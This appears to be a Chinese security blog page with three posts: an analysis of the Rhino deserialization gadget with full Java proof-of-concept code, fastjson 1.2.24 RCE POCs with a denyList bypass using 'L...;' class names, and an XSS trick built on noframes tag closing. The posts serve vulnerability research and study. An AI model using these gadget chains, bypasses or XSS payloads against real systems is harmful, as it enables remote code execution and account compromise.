闻道解惑


  • 首页

  • 标签

  • 站点地图

Mozilla Rhino 反序列化漏洞 POC 分析

发表于 2018-02-24

来源:香依香偎@闻道解惑

Mozilla Rhino 是一个完全使用 Java 语言编写的开源 JavaScript 引擎。ysoserial 中收录了 Rhino 的反序列化 Gadget,本篇文章就来分析一下这个 Gadget。

零、NativeError 的继承关系

首先来看 org.mozilla.javascript.NativeError 类的继承关系。它继承自 IdScriptableObject,后者继承自 ScriptableObject。而 ScriptableObject 实现了 Scriptable 接口和 Serializable 接口。因此,NativeError 可以进行序列化和反序列化操作。

NativeError.class

一、分析

1、 首先,反序列化攻击的入口在 NativeError 的 toString() 函数。

NativeError.toString

toString() 中调用了 js_toString() 函数,传入参数为 NativeError 的 this 对象。看下 js_toString() 。

NativeError.js_toString

js_toString() 调用了两次 getString() 函数,传入的参数是 NativeError 对象和字符串 name/message,继续跟进。

NativeError.getString

getString() 中调用的是父类 ScriptableObject 的 getProperty() 函数,入参没有变化。跟进去看看。

ScriptableObject.getProperty

其中调用的是 Scriptable 接口的 get() 函数。这个 get() 的实现在 IdScriptableObject 类。

IdScriptableObject.get

IdScriptableObject.get() 最后调用的是父类 ScriptableObject 的 get() 函数,再次回到 ScriptableObject 类。

ScriptableObject.get

继续跟进 getImpl() 函数。

ScriptableObject.getImpl

其中的关键在于 2007 行到 2026 行的这部分。先看 2009 行到 2020 行的第一个分支。

getImpl-branches.png

这个分支中有 nativeGetter.invoke() 的调用,看上去有戏。但有一个问题在于,nativeGetter.delegateTo 是 transient 变量,在反序列化过程中无法赋值。

transient-delegateTo

这会导致 2013 行 if (nativeError.delegateTo == null) 的判断恒真,getterThis 就被赋值为最初的 NativeError 对象。这就导致 2020 行的 nativeGetter.invoke() 无法调用我们期望的目标对象的函数,只能调用静态函数或者 NativeError 类的内置函数。这当然不是我们期望的结果。

nativeGetter.invoke

再来看 2021 行到 2026 行的 else 分支。

getImpl-else-branch

这个分支中需要将 getterObj 设置为 Function 对象,并最终调用 Function 的 call() 函数。先看看 getterObj 如何赋值。

ScriptableObject-getterObj

通过 GetterSlot 的 getter。GetterSlot 是 ScriptableObject 的内部类,支持序列化。

GetterSlot-getter

GetterSlot-classes

GetterSlot.getter 可以通过 ScriptableObject.setGetterOrSetter() 来进行赋值。

ScriptableObject-setGetterOrSetter

那么 getterObj 要赋值成 Function 的哪个对象呢?Function 是个接口,看下它的实现类。

Function-classes

我们选择 NativeJavaMethod 类。这个类继承自 BaseFunction,后者同样继承自 IdScriptableObject,因此同样可以进行序列化和反序列化处理。

NativeJavaMethod-classes

NativeJavaMethod.call() 函数挺长,翻一翻会发现在 247 行调用了 meth.invoke(javaObject, args)。

NativeJavaMethod.call

这个 invoke() 的调用,其实是 MemberBox.invoke() 函数,其中直接调用了我们熟悉的 method.invoke() 函数。

MemberBox.invoke

看起来很有希望。为了能成功调用到我们期望的目标函数,我们需要关注 NativeJavaMethod.call() 中 meth.invoke(javaObject, args) 里的三个变量:meth、javaObject和args。

NativeJavaMethod.call

一个一个来,先看 meth。

2、meth 的值来自类的成员变量 methods,通过 findFunction() 查找到索引 index。

NativeJavaMethod.methods

成员变量 methods 是 MemberBox 类的对象数组,本身可以通过反序列化赋值。

NativeJavaMethod.methods

至于 methods 的内容要设置成什么样,来看下 MemberBox.invoke() 函数。其中 method 来自 method() 函数,而后者是直接返回了 memberObject 变量。

MemberBox.invoke

MemberBox-method

MemberBox.memberObject 是个 transient 变量,要怎么赋值呢?

MemberBox-memberObject

答案就在 MemberBox.readObject() 中。这里先通过 readMember() 得到了 member 对象,再通过 init() 函数将 member 赋值给 memberObject。

MemberBox.readObject

MemberBox.init

继续跟进 readMember() 函数,就是一个反序列化的实现。因此,通过反序列化给 memberObject的赋值,不存在问题。

MemberBox.readMember

也就是说,我们可以通过反序列化给 meth 赋值为期望的目标函数。

结论

设置 NativeJavaMethod.call() 中的 meth 需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m

3、 javaObject 涉及的代码,都在 NativeJavaMethod.call() 的 222~247 行。

NativeJavaMethod-javaObject

关键的部分就是 225~242 行的 else 分支里。

NativeJavaMethod.else.branch

如果要把 javaObject 赋值为我们期望的对象,就是要在 235 行完成这个赋值。但是这里有一个问题:我们知道 thisObj 就是 NativeError 对象,同理 o 也是。但 NativeError 没有实现 Wrapper 接口,这样一来 234 行的判断条件 if (o instanceof Wrapper) 就不能满足了。

for-o-Wrapper

转机在于,这个判断身处循环之中,240 行的 o = o.getPrototype() 给了我们希望。查看一下 Wrapper 的实现类。

Wrapper-classes

看下 NativeJavaObject 的 unwrap() 函数,直接返回了 NativeJavaObject.javaObject 成员变量。

NativeJavaObject-unwrap

而 NativeJavaObject.javaObject 成员变量可以通过反序列化的 readObject() 函数直接赋值。

NativeJavaObject-readObject

也就是说,如果我们让 NativeError 对象的 getPrototype() 返回特定的 NativeJavaObject 对象,就可以完成 javaObject 的赋值。看看 getPrototype() 的实现,在 ScriptableObject 类中。

ScriptableObject-getPrototype

这个 prototypeObject 来自 ScriptableObject 的成员变量,可以通过反序列化赋值。

ScriptableObject.prototypeObject

结论

设置 NativeJavaMethod.call() 中的 javaObject 需要:

  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 e
  • 设置 e 的成员变量 prototypeObject 为 o

4、 最后看一下 args。args来自入参,其实就是调用者传入的 ScriptRuntime.emptyArgs。

NativeJavaMethod.args

ScriptableObject.emptyArgs

这就决定我们要寻找的目标函数,必须是一个__无参函数__。

5、 再回到开头,通常反序列化的入口都是 readObject() 函数,而文章开头说 NativeError 的反序列化入口在 toString() 函数。怎么才能从 readObject() 入口转到 NativeError.toString() 呢?

答案就在 JDK 中的 BadAttributeValueExpException 类的 readObject() 函数。

BadAttributeValueExpException-readObject

也就是说,只要将 BadAttributeValueExpException 的 val 设置为 NativeError 对象,就可以在反序列化的过程中调用 NativeError.toString() 了。

6、结论

如果要完成反序列化POC,需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m
  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 a
  • 设置 a 的成员变量 prototypeObject 为 o
  • 通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
  • 构造 BadAttributeValueExpException 对象 b
  • 设置 b 的成员变量 val 为 NativeError 对象 a

前面说过,需要寻找的目标函数,应当是一个无参函数。同时,这个无参函数所属的目标类,还得是实现了 Serializable 接口、支持序列化和反序列化的类。

因此,首先想到的就是,使用 TemplatesImpl 类作为目标类,使用它的 getOutputProperties() 作为目标函数。

二、填坑

完成了上述分析,我们开始写POC。途中暗坑无数,逐一填之。

1、NativeError 无法实例化

声明 NativeError 对象,直接报错:The type NativeError is not visible。

Error-NativeError

报错原因:

NativeError 类不是 public,不能直接引用。

Reason-NativeError

解决方案:

通过反射,实例化 NativeError 对象。

Solution-New-NativeError

2、反射实例化的 NativeError 运行失败

运行这段代码:

Error-Run-new-instance

报错 “ Class com.xiang.rhinotest.RhinoPoc can not access a member of class org.mozilla.javascript.NativeError with modifiers “” ”

Error-Access-NativeError

报错原因:

NativeError 没有提供默认的public 无参构造函数,无法直接调用 newInstance()。

解决方案:

通过反射设置构造函数为 public,再进行调用。

Solution-setAccessible

反射在 ysoserial 中被大量的使用,原因也就在此。

3、执行POC失败:No Context

按照“分析”部分的结论,结合大量的反射调用,完成POC如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private static Object generate_Object() throws Exception {
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}
return badAttributeValueExpException;
}

编译运行。呃,序列化成功,可是反序列化的时候却没看到计算器,只看到了报错:“No Context associated with current Thread”。

Error-no-context

报错原因:

问题在哪里呢?就在 ScriptableObject.getImpl() 的 else 分支中。

Reason-no-context

我们期望进入 2024 行的 f.call(),结果在 2023 行 Context.getContext() 抛出了异常,因为 Context 对象为空。

Reason-Context-null

构造 Context 需要调用 Context.enter() 函数。

Context-enter
Context-enter-2

怎样在反序列化的时候插入 Context.enter() 的调用呢?

重新看下调用栈,发现 NativeError.js_toString() 调用了两次 getString() 函数,分别传入字符串 “name”和“message”。

NativeError.js_toString

因此,我们可以把 TemplatesImpl.getOutputProperties() 作为 “message”的属性,把 Context.enter() 作为 “name” 的属性,这样就可以先执行 Context.enter(),再执行 TemplatesImpl.getOutputProperties() 进行 Payload 执行。

解决方案:

按照 POC 中设置 TemplatesImpl.getOutputProperties() 的方法,设置 Context.enter() 为 “name” 属性,将 TemplatesImpl.getOutputProperties() 设置为 “message” 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"messsage", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

4、执行POC仍然失败:No Context

增加 Context.enter() 的调用之后,重新运行POC,呃,问题依旧……

Error-no-context

报错原因:

为什么新增的调用无效呢?因为设置函数的方法错了。

无论是 TemplatesImpl.getOutputProperties() 还是 Context.enter() ,我们都是通过 ScriptableObject.setGetterOrSetter() 函数进行设置。而这个函数设置的 getter 属性,是 Callable 类型的。

ScriptalbeObject-setGetterOrSetter

回到报错的地方看。 2009 行 if 分支的判断条件是,getter 属性的值必须是 MemberBox 类型,而 MemberBox 并没有实现 Callable 接口,所以无论进来的是TemplatesImpl.getOutputProperties() 还是 Context.enter(),代码流程都会走到 2021 行的 else 分支中。

Reason-no-context

我们期望流程走到 2024 行的 f.call(),遇到的问题是在 2023 行就报错了。我们增加 Context.enter() 的调用,期望他能解决无法通过 f.call() 来调用TemplatesImpl.getOutputProperties() 的问题。

但是对 Context.enter() 的调用遇到了一样的问题,在 2023 行就抛出了异常,无法走到 2024 行去执行我们期望的函数。

所以,对 Context.enter() 的设置,就不能像 TemplatesImpl.getOutputProperties() 一样,去通过 ScriptableObject.setGetterOrSetter() 函数进行设置,只能让他通过 2009 行的 if 分支去调用。但是要怎么去设置呢?ysoserial 通过反射进行强制设置 getter 属性来解决这个问题。

解决方案:

参考 ysoserial 中的方法,通过反射进行强制设置 getter 属性为 MemberBox 对象的 Context.enter() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

现在再执行 POC,终于可以看到计算器了。

calc

三、POC

完整POC参见 Github。

主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

private static Object generate_Object() throws Exception
{
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"message", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}

return badAttributeValueExpException;
}

调用栈:

call-stack

四、心得

1、 有 BadAttributeValueExpException 作为反序列化的入口,toString() 也成为了 readObject() 之外的另一个反序列化攻击触发点。

2、 反射功能,很好很强大。

fastjson 反序列化漏洞POC分析

发表于 2017-12-11

来源:香依香偎@闻道解惑

fastjson 是阿里巴巴开源的,使用 Java 语言编写的 JSON 解析库,项目地址是 https://github.com/alibaba/fastjson,以速度快、性能高著称,使用范围非常广。

在2017年3月15日,Fastjson 官方主动爆出 Fastjson 在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。本文对这个漏洞的POC进行分析。

零、Fastjson 反序列化的特点

先创建一个实体类 User,其中包括:

•	public  元素 name
•	private 元素 age   和它的 setter 函数
•	private 元素 prop  和它的 getter 函数
•	private 元素 grade 和它的 getter 函数

01-User.png

接下来使用 JSON.parseObject(),用指定类型的方式将这个类反序列化出来。

01-App.png

运行结果是:

01-result.png

从结果上看,我们可以得出以下结论:

•	User 对象的无参构造函数被调用
•	public String name 被成功的反序列化
•	private int age 被成功的反序列化,它的 setter 函数被调用
•	private Properties prop 被成功的反序列化,它的 getter 函数被调用
•	private String grade 没有被反序列化,仍然是默认值 null,getter 函数也没有被调用

前三点都自然,奇怪的是后两点。prop 和 grade 同样是 private 类型,同样提供了 getter 函数没有提供 setter 函数,为什么 prop 可以通过 getter 函数来反序列化,而 grade 却没有?

这涉及到 fastjson 的一个特殊处理。对于只有 getter 函数,没有 setter 函数的 private 元素,fastjson 会按如下条件判断反序列化的时候是否调用其 getter 函数。

•	函数名称大于等于 4
•	非静态函数
•	函数名称以get起始,且第四个字符为大写字母
•	函数没有入参
•	函数的返回类型满足如下之一
◦	继承自Collection
◦	继承自Map
◦	是AtomicBoolean
◦	是AtomicInteger
◦	是AtomicLong

01-JavaBeanInfo

回到前面的问题。prop 的 getter 函数 getProp() 满足上面的条件,它的返回类型 Properties 继承自 Map ,因此可以成功的被调用。而 grade 的 getter 函数 getGrade() 的返回类型 String 不满足返回类型的那个条件,因此没有被调用,grade 也无法被赋值。

那么,在反序列化的时候,向 grade 这样无法通过 setter 或 getter 函数进行赋值的 private 元素,有什么方法可以赋值呢?有。就是使用 FEATURE.SupportNonPublicField。

在 JSON.parseObject() 中使用 fastjson 的标签 FEATURE.SupportNonPublicField:

02-App

执行结果是:

02-result

grade 已经成功被反序列化,此时 grade 的 getter 函数 getGrade() 并没有被调用。

FEATURE.SupportNonPublicField 从 fastjson 的 1.2.22 版本开始引入。

还有个疑问:上面的 App.java 中,json string 中使用 @type 标签指定了反序列化的目标类型为 com.xiang.fastjson.poc.User,在调用 JSON.parseObject() 时也指定了目标类型是 User.class。那如果这两个类型不一致,会发生什么?

需要说明的是,只要 JSON.parseObject() 的第二个参数中指定的类,与 json string 中 @type 指定的类之间存在继承或转换关系,那么这个反序列化就会成功执行。比如把 JSON.parseObject() 的第二个参数设为 Object.class(也就是所有类的基类),那么反序列化就不会因为类型不匹配而失败。如果把第二个参数设为 String.class,那么所有支持 toString() 方法的类同样可以序列化成功。

但是如果两个类之间没有关联关系,那么反序列化的时候,是会直接返回错误拒绝反序列化,还是将对象反序列化完成再进行类型转换呢?

这个答案是:不确定。比如,我们修改 App.java,将 JSON.parseObject() 的第二个参数换成 Integer.class,json string 中仍然保持 com.xiang.fastjson.poc.User。

03-App

执行结果是:

03-result

从结果看,fastjson 先按照 json string 中的 @type 将对象反序列化出来,然后再转换为 JSON.parseObject() 中指定的目标类型。即便两个类型不一致,json string 指定的对象对应的 getter 和 setter 函数也一样会被调用。

再换一下,把 JSON.parseObject() 的第二个参数换成 ASMUtils.class。

04-App

执行结果是:

04-result

这一次的结果上,fastjson 却首先检查了两个类型是否匹配,不匹配直接抛出异常,没有调用各个字段的方法进行反序列化操作。

fastjson 内置了一些常用类的反序列化处理类,这些常用类的列表在 ParseConfig.java 中可以看到。

04-deserializemap

其中有一些处理类中(比如Integer、BigInteger等)没有检查类型是否匹配,就直接进行反序列化处理;有一些没有进行检查,但是反序列化过程会因为语法错误而失败。而对于大多数不属于常用类的情况,fastjson 是会进行检查不同类型之间的关联关系的(如上面的ASMUtils)。

好吧,这一部分太晕了。有没有更简单一些的用法,不用考虑这些匹配原则?有,就是 JSON.parse()。

05-App

执行结果是:

05-result

同样也支持 Feature.SupportNonPublicField 设置。

06-App

执行结果是:

06-result

可以看到,JSON.parse(),完全是按照 json string 中指定的类进行反序列化,不用考虑指定目标类的情况,因此可能是更广泛的用法吧。不过少了一次类型检查,也会引入更多的安全风险。

一、TemplatesImpl POC分析

首先是 TemplatesImpl 的 POC,来自于 廖神。

这个 POC 的入口点在 TemplatesImpl 类中 getOutputPerpeties() 函数。由于 TemplatesImpl 的 private 元素 _outputProperties 只有 getter 没有 setter ,同时其 getter 函数的返回类型 Properties 又继承自 Map,因此这个 getter 函数 getOutputProperties() 满足前面说的调用条件,可以被 fastjson 反序列化 TemplatesImpl 时调用到 。POC 的调用链是:

  • getOutputProperties()
    • -> newTransformer()
      • -> getTransletInstance()
        • -> defineTransletClasses()`

09-templatesimpl-01.png

09-templatesimpl-02.png

09-templatesimpl-03.png

09-templatesimpl-04.png

POC 代码如下:

07-exploit.png

07-poc.png

执行之后成功弹出计算器:

07-result.png

上面的POC中,Exploit 类继承自 AbstractTranslet。如果不让 Exploit 类继承也可以,只要在 json str 中,_outputProperties 之前增加 _transletIndex 和 _auxClasses 的设置就好了。

08-exploit.png

08-poc.png

执行之后同样弹出计算器:

08-result.png

TemplatesImpl 的 POC,在利用的时候有几个限制:

  1. 由于 POC 中关键元素 _bytecode 没有对应的 public 的 getter 和 setter 函数,因此需要服务器上解析 json 的时候,不管是使用 JSON.parse() 还是使用 JSON.parseObject(),都需要设置 Feature.SupportNonPublicField 。
  2. Feature.SupportNonPublicField 是在 1.2.22 版本引入,而这个漏洞在 1.2.25 版本就被封堵。这就要求目的服务器上的 fastjson 版本必须在 1.2.22 到 1.2.24 之间。
  3. 如果目的服务器使用的是 JSON.parseObject(),那么第二个参数必须是和 TemplatesImpl 不冲突的类,比如 Object.class,String.class,Integer.class 等。

二、JdbcRowSetImpl POC分析

JdbcRowSetImpl 的 POC 同样来自 廖神。

JdbcRowSetImpl 的调用入口在 setAutoCommit() ,调用链很短:

  • setAutoCommit()
    • -> connect()
      • -> InitialContext.lookup()

10-JdbcRowSetImpl-01.png

10-JdbcRowSetImpl-02.png

需要设置的属性只有 dataSourceName 和 autoCommit 两个。由于它们的 setter 函数 setDataSourceName() 和 setAutoCommit() 都是 public 类型,因此这里 不需要设置 SupportNonPublicField 属性 ,可以直接触发。

POC代码为

11-JdbcRowSetImpl-Poc.png

搭建好 RMI 的环境之后,执行 POC ,成功弹出计算器。

11-JdbcRowSetImpl-result.png

JdbcRowSetImpl 的 POC,使用限制为:
1 fastjson 的版本范围为 1.2.24 及以下的所有版本。
2 如果目的服务器使用的是 JSON.parseObject(),那么第二个参数必须是和 JdbcRowSetImpl 不冲突的类,比如 Object.class,String.class,Integer.class 等。

三、fastjson 的修复

反序列化漏洞的修补,通常都是通过白名单或黑名单的形式,禁止具有恶意功能的类进行反序列化。fastjson 使用的是黑名单的方式,具体而言就是从 1.2.25 版本开始,fastjson 增加了两个处理:

  1. autotype 功能默认关闭,同时提供手动 enable_autotype 的设置。
  2. 默认开启了黑名单,危险类所在的包不允许进行反序列化。

我们将 fastjson 升级到最新的 1.2.41 版本,再执行上面 JdbcRowSetImpl 的 POC,结果是直接抛了异常:

12-1.2.41-autoType-close.ong.png

查看抛异常的地方,

12-1.2.41-checkautotype.png

查看denyList的定义,可以找到目前定义的黑名单列表。

12-denyList.png

•	bsh
•	com.mchange
•	com.sun.
•	java.lang.Thread
•	java.net.Socket
•	java.rmi
•	javax.xml
•	org.apache.bcel
•	org.apache.commons.beanutils
•	org.apache.commons.collections.Transformer
•	org.apache.commons.collections.functors
•	org.apache.commons.collections4.comparators
•	org.apache.commons.fileupload
•	org.apache.myfaces.context.servlet
•	org.apache.tomcat
•	org.apache.wicket.util
•	org.apache.xalan
•	org.codehaus.groovy.runtime
•	org.hibernate
•	org.jboss
•	org.mozilla.javascript
•	org.python.core
•	org.springframework

com.sum.rowset.JdbcRowSetImpl 正好符合其中的 com.sun. 这个黑名单前缀,因此被屏蔽。

四、denyList 黑名单的绕过

fastjson 修补之后默认关闭了 autoType 功能,同时开启了黑名单。

但是这个黑名单功能的实现还是有问题的。在 autoType 功能打开的情况下(总有些偷懒的开发人员会这么干的),我们可以绕过这个黑名单的限制。

首先,我们通过命令行参数 -Dfastjson.parser.autoTypeSupport=true 的方式开启 autoType 功能,执行一下 JdbcRowSetImplPoc。

13-open-autotype.png

在 ParserConfig 的 880 行抛出异常。查看代码,这次是被黑名单 denyList 给拦截了。

13-denyList-block.png

继续往下看,在 926 行调用了 TypeUtils.loadClass() 来反序列化生成类。

14-TypeUtils-loadClass.png

点进去看看,在 TypeUtils 的 1143 行,对于类名由 L 和 ; 包装的情况下,这里会直接去掉类名前后的 L 和 ;,然后再 loadClass() !

14-TypeUtils-loadClass-L.png

这就意味着,我们只需要将 json string 中的类名前后增加 L 和 ;,也就是把 POC 中 @type 的值从 com.sun.rowset.JdbcRowSetImpl 改成 Lcom.sun.rowset.JdbcRowSetImpl; ,就能绕过黑名单的检查,同时也能完成 JdbcRowSetImpl 的反序列化!

15-Lcom.sun.rowset.JdbcRowSetImpl-.png

用命令行参数 -Dfastjson.parser.autoTypeSupport=true 开启 autoType 功能,再执行一下新的 JdbcRowSetImplPoc。

15-result.png

成功!

闭合优先的神奇标签

发表于 2017-07-16

来源:香依香偎@闻道解惑

noframes

先看一段 HTML:

01-noframes-html

不过是展示了一张图片而已。用浏览器打开看看。

02-noframes-alert

咦?怎么弹框了?看看浏览器处理的源码。

03-noframes-src

原来,img 标签 src 属性里的 </noframes>,跳过了 <img> 标签和 src 属性,把外层的 <noframes> 给闭合了,导致 src 后半部分的 script 标签被解析成了 HTML,从而触发了弹框。

这可奇怪了。</noframes> 明明在双引号里面,怎么就跨越了src 属性跨越了**<img>** 标签,漂洋过海地把外层的 noframes 标签给闭合了?难道说,<noframes> 标签有一种特殊的魔力。它的闭合优先级,高于双引号的完整性优先级,高于嵌套在内层的标签的闭合优先级。

还有其他标签也有这样的魔力么?我们 fuzz 一下看看。

fuzz 找找

从 w3school 找到所有的 HTML 标签:

04-w3school-tags

整理成 tags.txt。

05-tags-txt

按照前述 noframes 的格式,依次把他们输出到 show.html 中。

06-showtag-py

执行,打开 show.html 看看效果。

07-show-all-tag

现在我们知道,这些标签都是闭合优先级高于双引号完整性优先级的特殊标签。

  • <!–
  • <iframe>
  • <noframes>
  • <noscript>
  • <script>
  • <style>
  • <textarea>
  • <title>
  • <xmp>

攻击场景

这个特性出现的原因,可能是源于浏览器对 DOM 树的特殊处理。而在某些 XSS 攻击的场景下,这一特性可能导致意想不到的结果。

特别是,像邮箱或论坛等支持富文本的应用,出于防御 XSS 的考虑,一定会对用户的输入进行语法分析和检查。但是,如果语法分析的结果和浏览器的识别结果不一致的话,就会形成 XSS 的攻击点。

比如文章开头的那段 noframes 语句,如果防 XSS 引擎将 src 里的内容统一理解为 img 的 src 属性,就可能形成 XSS 攻击的入口点。

这个特性还有哪些用处,就需要你的脑洞大开了:)

<i class="fa fa-angle-left"></i>12
香依香偎

香依香偎

闻道解惑, 香依香偎

13 日志
47 标签
RSS
GitHub E-Mail Weibo
© 2026 香依香偎
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4